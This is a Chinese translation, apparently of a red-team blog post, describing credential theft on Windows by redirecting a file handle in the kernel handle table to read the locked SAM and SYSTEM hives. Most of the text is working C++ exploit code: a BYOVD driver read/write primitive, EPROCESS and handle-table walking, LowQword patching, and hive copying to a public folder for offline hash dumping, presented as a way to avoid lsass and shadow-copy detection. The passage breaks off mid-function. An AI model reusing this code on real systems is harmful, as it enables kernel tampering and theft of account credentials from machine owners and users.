文章总结: 本文介绍一种通过文件句柄重定向技术窃取WindowsSAM凭据的方法,利用BYOVD驱动获得写原语,修改内核句柄表将普通文件句柄重定向至SAM的FILEOBJECT,从而绕过lsass访问和卷影副本等常规检测手段读取锁定的hive。文章详细描述了七步攻击方法论并附代码实现,属于高级红队攻击技术。 综合评分: 82 文章分类: 红队,渗透测试,恶意软件,漏洞分析
文件句柄重定向:BYOVD 改写内核句柄表,不碰 lsass 直接拷走 SAM
原创
S12 S12
赛博生存指南
2026年9月11日 22:05 浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
原文:https://medium.com/@s12deff/credential-dumping-via-file-handle-redirection-b2fe15b61181 作者:S12 – 0x12Dark Development 发布时间:2026-09-08 翻译模型:GLM-5.3
编者按:这是 S12「Handle Redirect」系列的第二篇。第一篇把进程句柄重定向到 lsass,这一篇换成文件句柄——不动 lsass、不建卷影副本、不对 hive 调 CreateFile,直接在内核句柄表里把一个普通文件的句柄改成指向 SAM 的 _FILE_OBJECT,锁着的 hive 就这么被读走了。写原语靠 BYOVD。
引言
Windows 的 SAM(Security Account Manager)hive 以 NTLM 哈希形式存放本地用户凭据。它被内核锁定,由 lsass 独占持有——任何用 CreateFile 打开它的尝试都会以 ERROR_SHARING_VIOLATION 失败。传统的凭据转储工具要么直接读 lsass 内存(MiniDumpWriteDump、ReadProcessMemory),要么借助 Volume Shadow Copy 拿到 hive 的冷拷贝。这两条路都被盯得很紧。
这项技术走的是另一条路:不去打开 SAM、也不碰 lsass,而是滥用 Windows 内核句柄表,把一个已存在的 File 句柄重定向到 SAM 的 _FILE_OBJECT 上。
我们用的句柄,打开的是一个人人可读的普通文件(notepad.exe,换别的也行)。重定向完成后,内核把它当作「从来就是指向 SAM 的句柄」来处理,我们就能直接读出锁定的 hive——全程没有对 lsass 调 OpenProcess,没有 MiniDump,也没有对 hive 本身调 CreateFile。
打补丁所需的写原语通过 BYOVD(Bring Your Own Vulnerable Driver)获得:运行时加载一个带签名的漏洞驱动。
Windows 句柄表
这项技术基于作者早前的文章,本篇把对象从进程迁移到了文件:
前作:https://medium.com/@s12deff/handle-redirect-549902e6d868
每个进程都维护一张句柄表(_HANDLE_TABLE),经 EPROCESS.ObjectTable 访问。表中每个条目是一个 _HANDLE_TABLE_ENTRY,包含两个 QWORD:
_HANDLE_TABLE_ENTRY
+0x000 LowQword: encoded pointer to _OBJECT_HEADER
+0x008 HighQword: GrantedAccess, RefCnt, Attributes
LowQword 编码着句柄所指对象 _OBJECT_HEADER 的内核地址:
LowQword:
bits [0:3]: Lock/Tag bits (preserve)
bits [4:63]: ObjectPointerBits target of the redirect
Encoding:
objectPointerBits = (_OBJECT_HEADER* >> 4) & 0xFFFFFFFFFFF
LowQword = (objectPointerBits << 20) | metadataBits
内核解析一个句柄时(对任何用到它的 syscall,比如 NtOpenFile),会读取这个 LowQword,解码出指针,解引用拿到内核对象,再校验对象类型是否与 syscall 期望的一致。类型和访问权限都匹配,操作就继续。
这意味着:只要把 ObjectPointerBits 字段覆写成指向 SAM 的 _FILE_OBJECT、同时保持类型(File)不变,后续所有在这个句柄上的 syscall 就都打到 SAM 上。
方法论
攻击分七步:
- 以 GENERIC_READ | FILE_FLAG_OVERLAPPED 打开一个受害 File 句柄(此处用 notepad.exe)
- 遍历自己的句柄表,找到该句柄对应的
_HANDLE_TABLE_ENTRY - 经 NtQuerySystemInformation 枚举系统中所有 File 句柄
- 不打开 SAM,定位它的
_FILE_OBJECT* - 编码新的 LowQword
- 用 WritePrimitive 打补丁:句柄现在指向 SAM 的
_FILE_OBJECT - ReadFile(OVERLAPPED):把 SAM 和 SYSTEM 两个 hive 拷到磁盘
之后用 mimikatz 离线 Dump 哈希即可。
代码
main.cpp
#include<iostream>
#include<Windows.h>
#include<winternl.h>
#include<TlHelp32.h>
#include<algorithm>
#include<vector>
#include"DrvOps.h"
#include"GetOffsets.h"
#include"GetFileObjects.h"
typedefstruct_SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedefstruct_SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
usingnamespace std;
structoffsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 ObjectTable;
ULONG64 PsInitialSystemProcess;
DWORD64 ObHeaderCookie;
} g_offsets = {};
typedefstruct_SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedefstruct_SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
structKernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedefNTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers){
for (constauto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos)
return (DWORD64)drv.BaseAddress;
}
return0;
}
std::vector<KernelDriver> GetSortedKernelDrivers(){
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
constint SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer.data(), len, &len);
if (status != 0) return driverList;
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
constchar* nameStart = reinterpret_cast<constchar*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid){
if (ntoskrnlBase == 0) { std::cerr << "Failed ntoskrnl base" << endl; return0; }
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;
cout << "PsInitialSystemProcess address " << hex << initialSystemProcess << endl;
getchar(); getchar();
DWORD64 systemEPROCESS = 0;
ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << hex << systemEPROCESS << endl;
DWORD systemPid = 0;
ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) return systemEPROCESS;
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
DWORD64 firstProcess = 0;
ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
while (currentProcess != headList && counter < 5000) {
counter++;
DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
DWORD currentPid = 0;
ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (currentPid == pid) { cout << "EPROCESS found: " << hex << eprocess << endl; return eprocess; }
DWORD64 nextProcess = 0;
ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
currentProcess = nextProcess;
}
return0;
}
BOOL EnableSeDebugPrivilege(){
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return FALSE; }
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
CloseHandle(hToken);
return TRUE;
}
BOOL redirectAndCopy(HANDLE drv, HANDLE hVictim, DWORD64 entryAddress, DWORD64 lowQword, constwchar_t* targetPath, constwchar_t* destPath){
// 1. Get _FILE_OBJECT* of target
DWORD64 fileObj = getFileObjectByName(drv, targetPath);
if (fileObj == 0) { printf("[-] getFileObjectByName failed for %ws\n", targetPath); return FALSE; }
printf("[+] FILE_OBJECT: %llX\n", fileObj);
// 2. Encode new LowQword
DWORD64 fileObjectHeader = fileObj - 0x30;
DWORD64 metadataBits = lowQword & 0xFFFFFULL;
DWORD64 objectPointerBits = (fileObjectHeader >> 4) & 0xFFFFFFFFFFFULL;
DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;
printf("[+] Original lowQword: %llX\n", lowQword);
printf("[+] New lowQword: %llX\n", newLowQword);
// 3. Patch, LowQword only, no HighQword touch
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));
printf("[+] LowQword patched\n");
// 4. Verify
wchar_t resolvedPath[MAX_PATH] = {};
DWORD len = GetFinalPathNameByHandleW(hVictim, resolvedPath, MAX_PATH, VOLUME_NAME_DOS);
if (len > 0) wprintf(L"[+] Handle resolves to: %s\n", resolvedPath);
elseprintf("[-] GetFinalPathNameByHandleW failed: %d\n", GetLastError());
// 5. Copy via OVERLAPPED reads (aligned buffer for Direct I/O)
HANDLE hDest = CreateFileW(destPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDest == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dest: %d\n", GetLastError());
// Restore before returning
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
return FALSE;
}
const DWORD SECTOR = 4096;
const DWORD CHUNK = SECTOR * 16;
BYTE* chunk = (BYTE*)VirtualAlloc(NULL, CHUNK, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!chunk) { CloseHandle(hDest); return FALSE; }
DWORD64 offset = 0;
DWORD totalWritten = 0;
while (TRUE) {
OVERLAPPED ov = {};
ov.Offset = (DWORD)(offset & 0xFFFFFFFF);
ov.OffsetHigh = (DWORD)(offset >> 32);
ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
DWORD bytesRead = 0;
BOOL readOk = ReadFile(hVictim, chunk, CHUNK, NULL, &ov);
DWORD err = GetLastError();
if (!readOk && err == ERROR_IO_PENDING) {
if (WaitForSingleObject(ov.hEvent, 10000) == WAIT_TIMEOUT) {
printf("[-] Timeout at offset 0x%llX\n", offset);
CloseHandle(ov.hEvent);
break;
}
readOk = GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
err = GetLastError();
}
elseif (readOk) {
GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
err = GetLastError();
}
CloseHandle(ov.hEvent);
if (!readOk || bytesRead == 0) {
printf("[*] EOF at offset 0x%llX | err: %d\n", offset, err);
break;
}
DWORD written = 0;
WriteFile(hDest, chunk, bytesRead, &written, NULL);
totalWritten += written;
offset += bytesRead;
printf("[+] %ws: offset 0x%llX | chunk %d | total %d\r", destPath, offset, bytesRead, totalWritten);
if (bytesRead < CHUNK) break;
}
VirtualFree(chunk, 0, MEM_RELEASE);
CloseHandle(hDest);
printf("\n[+] Done: %ws = %d bytes\n", destPath, totalWritten);
// 6. Restore original LowQword
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
printf("[+] LowQword restored\n");
return totalWritten > 0;
}
intmain(){
EnableSeDebugPrivilege();
// Offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) { printf("[-] Offsets failed\n"); return1; }
g_offsets.ObjectTable = off.ObjectTable;
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
g_offsets.ObHeaderCookie = off.ObHeaderCookie;
printf("[+] Offsets OK | ObjectTable: 0x%llX\n", g_offsets.ObjectTable);
// ntoskrnl base
vector<KernelDriver> drivers = GetSortedKernelDrivers();
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
printf("[+] ntoskrnl: 0x%llX\n", ntoskrnlBase);
getchar();
HANDLE drv = openVulnDriver();
DWORD pid = GetCurrentProcessId();
// EPROCESS of current process (to find our handle table)
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
if (!eprocess) { printf("[-] EPROCESS failed\n"); return1; }
// Victim handle: File type, GENERIC_READ, OVERLAPPED
HANDLE hVictim = CreateFileW(L"C:\\Windows\\System32\\notepad.exe", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
if (hVictim == INVALID_HANDLE_VALUE) { printf("[-] hVictim failed\n"); return1; }
printf("[+] hVictim: 0x%p\n", hVictim);
// Locate handle table
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
DWORD64 tableBase = tableCode & ~0x3ULL;
printf("[+] TableBase: 0x%llX\n", tableBase);
getchar();
// Entry address for hVictim
DWORD64 handleValue = (DWORD64)hVictim;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;
printf("[+] Entry: 0x%llX\n", entryAddress);
// Read original LowQword (needed for restore and metadata bits)
DWORD64 lowQword = 0;
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress, sizeof(DWORD64));
printf("[+] Original LowQword: 0x%llX\n", lowQword);
getchar();
// Copy SAM
printf("\nCopying SAM\n");
redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\System32\\config\\SAM", L"C:\\Users\\Public\\SAM.bak");
// Re-read lowQword after restore (should be original again)
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress, sizeof(DWORD64));
// Copy SYSTEM
printf("\nCopying SYSTEM\n");
redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\System32\\config\\SYSTEM", L"C:\\Users\\Public\\SYSTEM.bak");
CloseHandle(hVictim);
CloseHandle(drv);
printf("\n[+] All done. Files at C:\\Users\\Public\\\n");
getchar();
return0;
}
DrvOps.h
#pragma once
#include<iostream>
#include<Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
usingnamespace std;
typedefstructKernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedefstructKernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size){
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size){
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
return TRUE;
}
HANDLE openVulnDriver(){
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
returnNULL;
}
return driver;
}
GetOffsets.h
#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include<Windows.h>
#include<winhttp.h>
#include<dbghelp.h>
#include<stdio.h>
#include<string>
#include<vector>
//#include <algorithm>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")
// Data Structures
structPdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};
structKernelOffsets {
// EPROCESS struct field offsets (bytes from struct base)
DWORD ObjectTable;
DWORD64 ObHeaderCookie;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
};
// PE Parsing
#pragma pack(push, 1)
structCV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)
static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva){
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return0;
}
staticboolGetPdbInfoFromPE(constchar* exePath, PdbCodeViewInfo& out){
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
returnfalse;
}
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) returnfalse;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) returnfalse;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) returnfalse;
auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) returnfalse;
DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) returnfalse;
int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<IMAGE_DEBUG_DIRECTORY*>(buf.data() + ddOff);
for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;
DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
returntrue;
}
printf("[-] No CodeView RSDS entry found in PE\n");
returnfalse;
}
// PDB Cache Validation
#pragma pack(push, 1)
structMsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
structPdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)
staticboolExtractGuidFromPdb(constchar* pdbPath, GUID& outGuid){
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) returnfalse;
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);
if (buf.size() < sizeof(MsfSuperBlock)) returnfalse;
// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
staticconstchar kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) returnfalse;
DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) returnfalse;
DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) returnfalse;
// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}
// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) returnfalse;
auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);
DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;
// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) returnfalse;
outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
returntrue;
}
// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, constwchar_t* pdbName){
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}
staticboolDownloadPdb(const GUID& guid, DWORD age, constwchar_t* pdbNameW, constchar* outPath){
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());
HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); returnfalse; }
HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE) : nullptr;
auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};
if (!hReq) { closeAll(); returnfalse; }
if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
returnfalse;
}
DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
returnfalse;
}
// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
body.insert(body.end(), chunk, chunk + rd);
closeAll();
if (body.empty()) {
printf("[-] Empty response from symbol server\n");
returnfalse;
}
HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
returnfalse;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);
printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
returntrue;
}
// DbgHelp Symbol Resolution
structSymFindCtx {
constchar* name;
DWORD64 address;
bool found;
};
structTypeFindCtx {
constchar* name;
ULONG typeIndex;
bool found;
};
static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx){
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}
static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx){
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}
// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, constchar* symName){
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return0;
}
return ctx.address - modBase;
}
// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
constchar* structName, constchar* fieldName){
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return0;
}
DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return0;
// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return0;
// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);
for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;
bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc
if (match) {
DWORD offset = 0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
